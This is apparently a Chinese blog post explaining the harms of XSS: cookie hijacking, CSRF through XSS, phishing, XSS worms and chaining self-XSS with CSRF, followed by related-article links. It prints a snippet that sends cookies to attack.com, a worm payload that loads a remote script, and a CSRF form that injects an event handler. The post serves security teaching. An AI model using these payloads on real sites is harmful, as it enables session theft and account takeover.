上次学习了一篇很好的文章以后,写了https://blog.csdn.net/weixin_42299862/article/details/108518706这么一篇读后感~现在继续总结一下,XSS能造成多大的危害。

1、cookie劫持
通过XSS漏洞,我们可以轻易的将javascript代码注入被攻击用户的页面并用浏览器执行。
如果用户的cookie没有设置Httponly,在javascript中可以通过“document.cookie”来获取用户的cookie内容,并可以轻易的发送到任意黑客指定的地址。

发送方式举例:
同源策略并不限制<img>标签从别的网站(跨域)去下载图片,我们在注入JavaScript代码的时候,同时创建一个用户不可见的<img>,通过这个<img>发cookie发给攻击者http://attack.com

var img = document.createElement(‘img’);
img.src = ‘http://attack.com/?cookie=+ document.cookie;
img.style.display = ‘none’;
document.getElementByName(‘body’)[0].appendChild(img);

这里写的是js的脚本,除了用<img>标签,也可以通过iframe标签(使用标签的方法见支持跨域的标签),form表单(发送get或post请求)和ajax等方式(ajax需要解决跨域问题)。

2、CSRF:使用XSS可以实现CSRF,不过XSS只是实现CSRF的诸多途径中的一条。
如果用户的cookie设置了httponly,我们将无法轻易的获取其cookie的内容。
但由于我们可以控制用户的页面脚本(XSS),我们可以利用脚本向后台发送命令,此时浏览器会给请求带上被攻击用户的cookie,也就是说我们不知不觉的以用户的身份执行任何请求。
如:
$.put(‘/tranferMoney?from=accountA&to=account&mount=100000’);
发起一笔转账,将用户的资产转到黑客账户名下~
或者发请求删除用户的重要数据等等,都会让用户损失惨重。

3、XSS钓鱼:这里需要结合<iframe>点击劫持
可以了利用注入的Javascript进行动态的Dom编辑,来模拟如登陆页面,来诱骗用户输入用户名密码等信息。
可以使用如下方式:
(1) 直接在当前页面动态模拟创建登录窗口
(2)通过location.href='javascript:‘HTML内容’'的方式重写当前页面内容,浏览器URL保持不变,或者通过设置为假的URL。

4、获取用户信息
获取浏览器和系统信息
浏览器的navigator对象可以暴露非常多的信息

5、XSS蠕虫:在这里CSRF作为其他攻击向量的辅助攻击手法
实现XSS蠕虫攻击的关键在于如何利用XSS漏洞蠕虫攻击,一般利用存储型的XSS来进行蠕虫攻击,但也可利用反射型的XSS结合csrf漏洞同样可以造成蠕虫攻击。

例如:https://mingxin.live/article/XSS-%E8%A0%95%E8%99%AB%E6%94%BB%E5%87%BB/ XSS蠕虫攻击
这就是一个反射型的XSS结合csrf漏洞造成蠕虫攻击的例子。
—》总结一下思路:
构造一个反射型XSS的url,通过钓鱼链接(或其他方法)发送给受害者诱使其点击,而payload引用写好的可以蠕虫的js,js要有转发该payload的功能,也可以结合CSRF完成恶意操作(如加关注,转发等)。
母贴:母贴为攻击者最先发布的具有蠕虫功能的帖子或者评论或者留言等。
子帖:被母贴感染后用户自动发送的贴子或者评论或者留言等。
蠕虫的关键是子贴的内容,子贴的内容必须是可控的才能造成蠕虫
—》总结一下实现过程:
(1)找到内容可以控制的且存在CSRF漏洞的地方,如发帖处,构造一个发帖的链接。只要用户访问该链接,将自动发送主题名和内容为“123”的帖子。
(2)将该CSRF链接插入到XSS中,结合两者,构造payload,例如<script src=http://u6.gg/sE7MH></script>。用户触发这个XSS就会触发CSRF。
(3)然后将构造的payload插入CSRF中,构造成新的具有蠕虫功能的CSRF链接。那怎么插呢?既然CSRF参数可控,直接将该payload赋值给可控参数,新的具有蠕虫功能的CSRF链接就构造好了,因为一旦该链接触发,将会执行原CSRF链接的功能(留言或评论等),而留言或评论的内容将又是XSS和CSRF结合的 payload。----------这里就是母贴感染子贴,子贴成为新的蠕虫传播者。
(4)将上面具有蠕虫功能的CSRF链接再次引用或插入到XSS payload中,如果链接过长,可以将链接缩短,缩成短链接的形式。插入到XSS payload后,如果是存储型XSS,只要触发这个XSS就会触发CSRF,而CSRF又插入了XSS,而XSS又插入了CSRF的链接,反反复复,形成蠕虫。---------这里是构造了一个母贴,可以通过钓鱼链接发送给受害者诱使其点击。

6、从Self-xss到可利用的xss:CSRF作为其他攻击向量的辅助攻击手法
有一些网站用户登陆后可以浏览到的绝大部分数据都只是自己的数据,也就是说此类网站如果存在存储型XSS,其触发页面也仅有自己可以看到,只能“自己打自己”。此类xss称为self-xss,俗称自叉。
此类xss往往需要结合其他漏洞诸如sql注入、反射型XSS、csrf等问题,可以扩大这些问题的打击范围以及形成持久型后门。

例如:https://www.freebuf.com/articles/web/164069.html
这就是一个CSRF+Self-xss的变废为宝的过程
用户登录处有个CSRF漏洞。用户登录失败会自动填充用户名,这里有个Self-xss漏洞。两者结合,用户访问该页面就可以触发 XSS :

<html>
<body><form action="XXXXXX" method="POST" id="csrf"><input type="hidden" name="username" value="aaaa'οnmοuseοver=alert(1);'"><input type="hidden" name="password" value=""></form>
</body>
<script>document.getElementById("csrf").submit();</script>
</html>

XSS能有什么危害?相关推荐

  1. 简述xss漏洞原理及危害?xss漏洞有哪些类型?xss漏洞哪个类型危害最大?如何防御xss漏洞

    Xss漏洞原理:服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的. 危害: 1.窃取用户Cookie 2.后台增删改文章 3.XS ...

  2. 【XSS漏洞-01】XSS漏洞简介、危害与分类及验证

    目录 1 XSS漏洞简介 2 XSS漏洞危害 3 XSS漏洞分类 3.1 反射型XSS 3.2 存储型XSS 3.3 DOM型XSS 3.3.1 节点树模型 3.3.2 DOM型XSS 4 漏洞验证 ...

  3. XSS漏洞分类及危害

    一.常见的XSS漏洞分为存储型.反射型.DOM型三种. (1)反射型XSS 用户在请求某条URL地址的时候,会携带一部分数据.当客户端进行访问某条链接时,攻击者可以将恶意代码植入到URL,如果服务端未 ...

  4. 安全测试之XSS攻击

    XSS (跨站脚本攻击)是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS.是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码 ...

  5. DEDECMS全版本gotopage变量XSS ROOTKIT 0DAY

    影响版本: DEDECMS全版本 漏洞描叙: DEDECMS后台登陆模板中的gotopage变量未效验传入数据,导致XSS漏洞. \dede\templets\login.htm 65行左右 < ...

  6. 网站安全之XSS漏洞攻击以及防范措施

    在网站开发中,安全问题是重中之重的问题,特别像一个sql注入,XSS漏洞攻击,等的防范,如果不做好,网站将存在很大的隐患 XSS漏洞是网站漏洞中最容易出现的一种,至少现在的各大网站中基本都存在,传闻只 ...

  7. SQL注入和XSS攻击的原理

    8.4 Web跨站脚本攻击 8.4.1  跨站脚本攻击的原理(1) 跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS.但是,由于层叠样式表 (Cascading Style ...

  8. 【干货】XSS知识总结

    公众号:白帽子左一 XSS基础 跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码注入到网页上,其他 ...

  9. 前端Hack之XSS攻击个人学习笔记

    简单概述 **        此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...

最新文章

  1. django创建项目案例1详细介绍方法01
  2. python输入语句-Python中的模块导入和读取键盘输入的方法
  3. obj是什么意思_为什么要学正则表达式 - 3
  4. 什么是JAX-RS注释?
  5. jQuery中的on 和事件委派
  6. 深入理解Java:SimpleDateFormat安全的时间格式化 ;
  7. 一文足以了解什么是 Java 中的锁
  8. UML设计(团队作业)
  9. 解决Eclipse建Maven项目module无法转换为2.5
  10. (转)献给迷茫中的量化工作者
  11. 标准商业计划书大纲模版
  12. 杂勘复Intrepid Geophysics GeoModeller 2016 v3.3.0 Win64 1CD质模建
  13. 杭州第三大世界文化遗产--良渚古城遗址
  14. Uber AI 研究院深度解构 ICLR 2019 最佳论文「彩票假设」!
  15. 《管理的常识》3-“什么是组织结构”读后感及读书笔记
  16. 夜来风雨声,“网络应用层”知多少?
  17. 仿uniapp - 时间轴组件
  18. android app文件夹,android app文件目录结构
  19. vue3的pdf文件下载
  20. 顺应EMM趋势,烽火星空重磅出击

热门文章

  1. 汪汪汪WDG--看门狗的作用
  2. STM32L+BC20 连接电信云控制继电器
  3. cnckadv16安装教程(含详细安装方法)
  4. Python查询七麦APP榜单
  5. 无法连接到服务器的错误解决方案
  6. TCP/IP详解之环回接口(loopback interface)
  7. pytorch distribute all_reduce方法实验
  8. 用VUI提升用户体验
  9. Kotlin协程-Coroutines-原汁原味一篇就够了系列
  10. css定义变量(定义:--aa;使用:var(--aa)、calc()计算样式函数